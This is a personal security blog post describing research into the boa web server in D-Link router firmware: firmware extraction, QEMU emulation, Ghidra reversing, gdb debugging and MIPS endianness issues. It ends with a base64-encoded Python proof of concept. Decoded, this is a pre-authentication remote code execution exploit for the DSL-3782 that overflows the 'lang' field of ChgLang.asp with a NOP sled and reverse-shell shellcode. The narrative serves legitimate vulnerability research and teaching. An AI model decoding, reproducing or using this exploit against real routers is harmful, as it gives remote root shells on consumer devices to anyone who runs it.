Few days ago I had a pleasure to present some of my ‘notes and
ideas’ during TheHackSummit Conference. After (a “stage-fright”
ate me alive and “ihmo - I failed”;)) the (“too
fast!111”;)) presentation I decided to calm a bit and slow
down with some binary exploitation topics. And that’s how I
landed in the binary world of IoT and router devices… ;) Here we
go…
This time we will start here:
Let's start from the beginning.
Goal(sh):
As you probably already know[1, 2, 3] some time ago we talked about the “IoT and router” hacking and security. During this adventure I decided to go a bit deeper so let’s split our “main goal” to few smaller. Let’s say:
- learn more about IoT/router environment(s)
- learn more about MIPS (and “write some code for it”)
- practice RE (using gdb, Ghidra, etc...)
- create a working RCE poc for httpd in target device to gain rootshell
- learn more about “a binary way” to pwn MIPS devices
- and yeah… relax and have fun. ;)
Looks good?
TL;DR – after last two weeks – we should be somewhere here…
Base Environment
Similar to the previous cases described on the blog[1, 2, 3] I started creating my environment working with Ubuntu (20.04). Next I installed few additional tools. Most of them you can already find described in mentioned previous parts[1, 2] or in the NotesMagazine[4] where we talked a bit about firmwares as well.
As far as I know – same steps to reproduce you should be able to take with Kali Linux but in case of any issues – feel free to let me know.
When your machine is ready and up to date – we can move forward to the next step – preparing a basic environment.
Initial Environment
During “this case” (read as: all the things I’ve done related to this topic during last 2 weeks ;)) we should start with a few tools we’ll use for our learning purposes.
All of them are “free” (or at least you can use a ‘free version’ as I did to continue our journey).
As you will see below – we’ll need and/or use:
- qemu – to emulate target firmware(s)
- buildroot – to prepare more tools
- binwalk – to extract our target firmware(s)
- multiple router/IoT firmwares – we can find ‘available online’, right? ;)
- Ghidra[8] – to stay shy and Never Straight Answer of course
- gdb-multiarch – because there are “multiple devices and architectures” of course
- Burp Suite and your favourite the browser – to know what you get and response for it
- python – for skull and bones of your enemy. Correct. ;)
I know it could be “a little bit overwhelming” when you see a list like that but don't worry.
We won't use all of those tools at once. ;)
If there we'll be a need to describe how to install or prepare/change any of mentioned tools/solutions - it'll be pointed in the text or screenshots below.
Let's continue and move to the next section.
Initial Work
My goal was to find/understand and exploit vulnerability in "web server" of remote “IoT/router device”.
That's why I started from a quick-Google-search to check possible combinations of words like "router CVE" or "firmware exploit", and so on.
After a while I decided to download a (“few”) D-Link’s firmware(s) directly from the Vendor's page and that's how I started my travel to the MIPS world.
Extracting Firmware
To extract firmware I used binwalk[5] (previously mentioned in few other posts on my blog related to this topic[1, 2] as well).
To understand more about “the firmware structure” (read as: files, configs - and how does it work together) I spent some time to review extracted content.
If you’re new to the “firmware hacking” (‘per-se’) – just like me ;) - you’ll probably try to “enumerate the firmware” to look for some juicy files. AFAIK very often something like a clear-text-passwords inside some default-config file(s) will wait for you just to be grabbed during the pentest. Anyhow...
This way – after I extracted the target firmware - my next step was to search for possible binaries I can fuzz and/or reverse to find the bug.
Obviously - according to the subject of this publication ;) - I tried to find a 'web server' binary. That's how I landed (yes, in gdb ;) ) with the (as I later understood (and you’ll see below “why”) very popular server in IoT and routers world) called 'boa webserver'[9].
Few details about it you can find here[6, 7] and on the screenshots presented below.
For example:
More details about the file you can see on the below. For example:
Few strings I was looking for you'll find presented on the screen below:
At this moment my next step was to grab the target binary and try to run it as a “standalone” one.
Let’s try.
Verify (Standalone) Binary Run
Because of some issues (read as: huge waste of time in the past related to "emulating firmwares") - first of all I tried to use some solution(s) I used during previous research[1,2].
Below you'll find few details about buildroot I used when I was preparing "my environment".
For sure – during your make menuconf - you'll need to prepare 2 things:
- MIPS ;)
- GDB for it.
(Spoiler alert: After few days I also used another solution/tool but we'll get back to that later.)
Preparing buildroot I already decribed here[1,2] so today we'll just move forward to the most important part – to grab our binary and run it with QEMU:
Looks like this part is ready – so we can move forward to the next step.
Searching for Bugs and Resources for Future Work
Quick check for the “password” (and few similar) strings:
To not go to deep into this part of the research – let’s move forward and open our target binary – boa – in another program: Ghidra.
We’ll start in the next section. Here we go…
Reversing Notes from the Target Binary
This time I started my research with the focus on finding RCE bug in httpd server. To do this I decided to open the target binary in Ghidra and understand more details about the possibility of the exploitation.
To continue starting from this section you’ll need to download and install Ghidra, gdb and firmware-mod-kit.
Emulation
I started here – trying to emulate the whole firmware with firmware-mod-kit:
When firmware started properly I received an IP I was able to try to visit via my browser. To do that I also started a Burp Suite to intercept the traffic between my box and the target firmware/web server.
MIPS Time
Before I continued the research I decided to open Boa binary in Ghidra to search for previously found functions like strcpy and so on. I’ve done that – again – to uderstand more and more about the app flow.
Init to MIPS
As the target binary is created for MIPS architecture – at this stage I decided to read and learn a bit more about it. That’s how I landed here:
If you’re new to MIPS I strongly recommend you to read few resources about it. The language syntax, the differences about the registers as well as the ‘endianness’. It will help you (at least helped me ;)) to prepare a working poc for our buggy web server.
(Few more resources about the topic I tried during the research you’ll find in the Reference section below.)
Reverse with Ghidra
Below you’ll few screenshots with the details from Ghidra. For example:
I continued to check for another places in the binary, like here:
Or here:
After I found few “interesting places” I can check when using browser and the Burp proxy – I jumped here:
And that’s how I landed here:
So for now...
Crashing
In this section we will try to:
- prepare a remote debugging for our target binary in emulated/live firmware
- talk about the dmesg
- prepare a skeleton of the poc.
Here we go.
Init to remote debug
When you run the firmware to emulate it with FAT.py script you’ll quickly see that there are no tools on the target firmware that would “help us” a bit with the exploitation. For example: no gdb, wget, nc and similar tools we can use to grab (or drop) the binary on the target machine.
That’s how I found this page[10] and continued with my case:
After this nice trick I was able to proceed with ‘remote debug’ from the live target device. Like this:
Init to dmesg
As you can see to simply check if I’m able to “access” the strcpy function (using the browser and/or Burp) I attached my gdb-server to the boa-binary and made a request using python2:
As you can see – in another console windows – dmesg can also be useful during this kind of a debug. ;) Let’s move directly to the part where we’ll create a (new ;)) “skeleton poc”. Here we go...
Skeleton poc
As in previous section we started a poc for the bug found when asking for another language in ChgLang.asp page you can see that the offset we should use will be 596 (of junk), next we should prepare a shellcode we’ll jump to.
Let’s use the same example poc-code as we did just a moment ago:
Next – after gdbserver is ready – let’s get some results. Sending an initial pattern with offset 620 to our webserver is presented below:
Next – as I was receiving (in dmesg and gdb) some “weird results”:
I decided to read more about MIPS to figure out what’s the problem and how to solve it to achieve a shell. I used a breakpoint to set it for an address I was able to read in gdb, for example here:
No luck? How could it be? Address value was good. (At this step I assumed) the offset is also valid.
After another few tries I landed here:
And that was the moment I realized “what am I missing” and what should I do. It only took me 2 more days to ‘understand’ it – but I believe you already know what’s the case.
Let’s see that in the next part… ;)
The Pwning Part
At this stage I was able to:
- crash a target web server (DoS – I wasn’t happy because of that…)
- prepare a poc to reproduce it (the DoS).
What I wasn’t able was: to find a valid address I can jump to using my super-payload to get a shell on the target device.
Find the right way
After last 6 days with the target binary I wasn’t happy about my “current results”. I decided it will be a good idea to use a checksec.sh[11] against the binary:
As I tried to find a hint or solution in the binary itself – suddenly I realized that there are 2 things I did wrong.
First of all:
Now it should be a little bit easier to get a working results we can use to develop our exploit poc, isn’t it? ;) And second thing: remember I told you to read about the architecture? Yes, the wrong “endianness”. ;)
So here we go again but this time we’ll start here… with an example where we can verify our “new idea”:
To verify your results I recommend you to check this firmware prepared by b1ack0wl[12]. My results are presented on the next screenshot:
Much better! ;) Let’s move forward then and continue the creation of our proof-of-concept code.
Prepare a shellcode to jump
This time the values on the stack were more ‘predictable’ than before so I moved to prepare a shellcode I can use against the target device/binary. I started with grep for the PID of started boa-server to find the location I should look for my shellcode:
I landed with msfvenom[13], preparing a code to use in our poc. Like this:
I tried multiple shellcodes. One of the results are presented on the next screenshot:
So far, so good.
I changed the shellcode to the one I found at shell-storm.org. Next I added it to the poc:
I started the poc using curl:
Final results are presented in the screenshot below:
Lore MIPS OOM
Below is the working code of the poc. For learning purposes (and other obvious reasons[14] of course) I’m posting here only a version for “not randomized” devices. FYI:
---<cut>---
IyEvdXNyL2Jpbi9weXRob24yCiMgcHJlYXV0aCByY2UgZm9yIGRsaW5rIGRzbC0zNzgyCiMgZm91
bmQ6ICAwNi4xMS4yMDIxCiMgcHduZWQ6IDE4LjExMjAyMSBAIDE5OjI2CiMgCgoKaW1wb3J0IHN5
cwppbXBvcnQgdXJsbGliMiAjIHJlcXVlc3RzCmltcG9ydCB1cmxsaWIKaW1wb3J0IHN0cnVjdAoK
dGFyZ2V0ID0gJ2h0dHA6Ly8xOTIuMTY4LjEuMS9jZ2ktYmluL0NoZ0xhbmcuYXNwJwoKCgoKbm9w
c2xlZCA9ICIiCiMgTk9QIHNsZWQgKFhPUiAkdDAsICR0MCwgJHQwOyBhcyBOT1AgaXMgb25seSBu
dWxsIGJ5dGVzKQpmb3IgaSBpbiByYW5nZSg3NCk6CiAgICBub3BzbGVkICs9ICJceDQxXHg0MVx4
NDFceDQxIiAjIDI2XHg0MFx4MDhceDAxIgoKCiNwcmludCgibm9wc2xlZCBsZW46ICVzIiAlIGxl
bihub3BzbGVkKSkKI3ByaW50KGxlbihub3BzbGVkKSkKCgojIHNoZWxsY29kZTsgcmV2c2hlbGw6
IDI3Mi0yMzI9PzoKYnVmID0gIGIiIgpidWYgKz0gYiJceDI3XHhiZFx4ZmZceGUwXHgyNFx4MGVc
eGZmXHhmZFx4MDFceGMwXHgyMFx4MjdceDAxIgpidWYgKz0gYiJceGMwXHgyOFx4MjdceDI4XHgw
Nlx4ZmZceGZmXHgyNFx4MDJceDEwXHg1N1x4MDFceDAxIgpidWYgKz0gYiJceDAxXHgwY1x4MzBc
eDUwXHhmZlx4ZmZceDI0XHgwZVx4ZmZceGVmXHgwMVx4YzBceDcwIgpidWYgKz0gYiJceDI3XHgy
NFx4MGRceGZmXHhmZFx4MDFceGEwXHg2OFx4MjdceDAxXHhjZFx4NjhceDA0IgpidWYgKz0gYiJc
eDI0XHgwZVx4MjdceDBmXHgwMVx4YWVceDY4XHgyNVx4YWZceGFkXHhmZlx4ZTBceGFmIgpidWYg
Kz0gYiJceGEwXHhmZlx4ZTRceGFmXHhhMFx4ZmZceGU4XHhhZlx4YTBceGZmXHhlY1x4MDJceDEw
IgpidWYgKz0gYiJceDIwXHgyNVx4MjRceDBlXHhmZlx4ZWZceDAxXHhjMFx4MzBceDI3XHgyM1x4
YTVceGZmIgpidWYgKz0gYiJceGUwXHgyNFx4MDJceDEwXHg0OVx4MDFceDAxXHgwMVx4MGNceDAy
XHgxMFx4MjBceDI1IgpidWYgKz0gYiJceDI0XHgwNVx4MDFceDAxXHgyNFx4MDJceDEwXHg0ZVx4
MDFceDAxXHgwMVx4MGNceDAyIgpidWYgKz0gYiJceDEwXHgyMFx4MjVceDI4XHgwNVx4ZmZceGZm
XHgyOFx4MDZceGZmXHhmZlx4MjRceDAyIgpidWYgKz0gYiJceDEwXHg0OFx4MDFceDAxXHgwMVx4
MGNceGFmXHhhMlx4ZmZceGZmXHgyNFx4MTFceGZmIgpidWYgKz0gYiJceGZkXHgwMlx4MjBceDg4
XHgyN1x4OGZceGE0XHhmZlx4ZmZceDAyXHgyMFx4MjhceDIxIgpidWYgKz0gYiJceDI0XHgwMlx4
MGZceGRmXHgwMVx4MDFceDAxXHgwY1x4MjRceDEwXHhmZlx4ZmZceDIyIgpidWYgKz0gYiJceDMx
XHhmZlx4ZmZceDE2XHgzMFx4ZmZceGZhXHgyOFx4MDZceGZmXHhmZlx4M2NceDBmIgpidWYgKz0g
YiJceDJmXHgyZlx4MzVceGVmXHg2Mlx4NjlceGFmXHhhZlx4ZmZceGVjXHgzY1x4MGVceDZlIgpi
dWYgKz0gYiJceDJmXHgzNVx4Y2VceDczXHg2OFx4YWZceGFlXHhmZlx4ZjBceGFmXHhhMFx4ZmZc
eGY0IgpidWYgKz0gYiJceDI3XHhhNFx4ZmZceGVjXHhhZlx4YTRceGZmXHhmOFx4YWZceGEwXHhm
Zlx4ZmNceDI3IgpidWYgKz0gYiJceGE1XHhmZlx4ZjhceDI0XHgwMlx4MGZceGFiXHgwMVx4MDFc
eDAxXHgwYyIKCgpzaGVsbGNvZGUgPSBidWYKCgojc2hlbGxjb2RlID0gKCAiRCIgKiAyNzYgKQoK
CgoKCnJldCA9IHN0cnVjdC5wYWNrKCI+SSIsIDB4N2ZmZjQ1YjApICMgO10gMHg3ZmZmNDUyOCkg
IyAweDJhYmNjYmIwKSAjIHN5c3RlbSgpOyAweDJiMjY5ZmNjKSAjIFNFTEVDVC4uLiB4MmFjY2Vm
Y2MpICMgIDB4MTIzNDU2KSAjIDB4NDI0MjQyNDIpIApqdW5rID0gIkEiICogNjggIyAxMzYgIyAy
NjQgIyAoNTk2IC0gbGVuKHNoZWxsY29kZSkgLSBsZW4ocmV0KSkgIyAtIGxlbihub3BzbGVkKSkK
CgoKCiMjIyMjIyMjIyMjIyMjIwojcGF5bG9hZCA9IGp1bmsgKyBzaGVsbGNvZGUgKyByZXQKcGF5
bG9hZCA9IG5vcHNsZWQgKyBzaGVsbGNvZGUgKyBqdW5rICsgcmV0IAoKI3ByaW50KGxlbihwYXls
b2FkKSkKcHJpbnQocGF5bG9hZCkKCmRhdGEgPSB1cmxsaWIudXJsZW5jb2RlKHsnbGFuZycgOiBw
YXlsb2FkIH0pCgpzZW5kbWUgPSB1cmxsaWIyLlJlcXVlc3QodGFyZ2V0LCBkYXRhICkgIyB1cmw9
dGFyZ2V0LCBkYXRhPXBvc3RfbWUpCgojcHJpbnQoc2VuZG1lKQoKI3ByaW50ICJET05FIgoKCgo=
---</cut>---
If you like this topic: from 01 Jan 2022 I'm starting a private workshop about a binary exploitation of IoT devices. It'll be prepared for a small groups (5-10 people). For more details (about the date or price for you) feel free to ask me directly.
More details - soon. ;)
References
Below you’ll find a list of tools and resources I found useful and/or interesting during last 2 weeks of the ressearch:
1 - https://code610.blogspot.com/2017/04/learning-routers.html
2 - https://code610.blogspot.com/2018/11/learning-routers-part-2.html
3 - https://code610.blogspot.com/2020/02/escaping-from-fort-quick-cve-2017-14187.html
4 - https://code610.blogspot.com/p/notes-magazine.html
5 - https://github.com/ReFirmLabs/binwalk
6 - https://en.wikipedia.org/wiki/Boa_(web_server)
7 - https://github.com/gpg/boa
8 - https://code610.blogspot.com/2021/08/cracking-with-ghidra-part-2.html
9 - https://github.com/jojosula/boa-webserver
10 - https://ktln2.org/2020/03/29/exploiting-mips-router/
11 - https://www.trapkit.de/tools/checksec/
12 - https://github.com/praetorian-inc/DVRF
13 - https://code610.blogspot.com/2018/08/venomesh-simple-msfvenom-generator.html
14 - https://unit42.paloaltonetworks.com/hoaxcalls-mirai-target-legacy-symantec-web-gateways/
Brak komentarzy:
Prześlij komentarz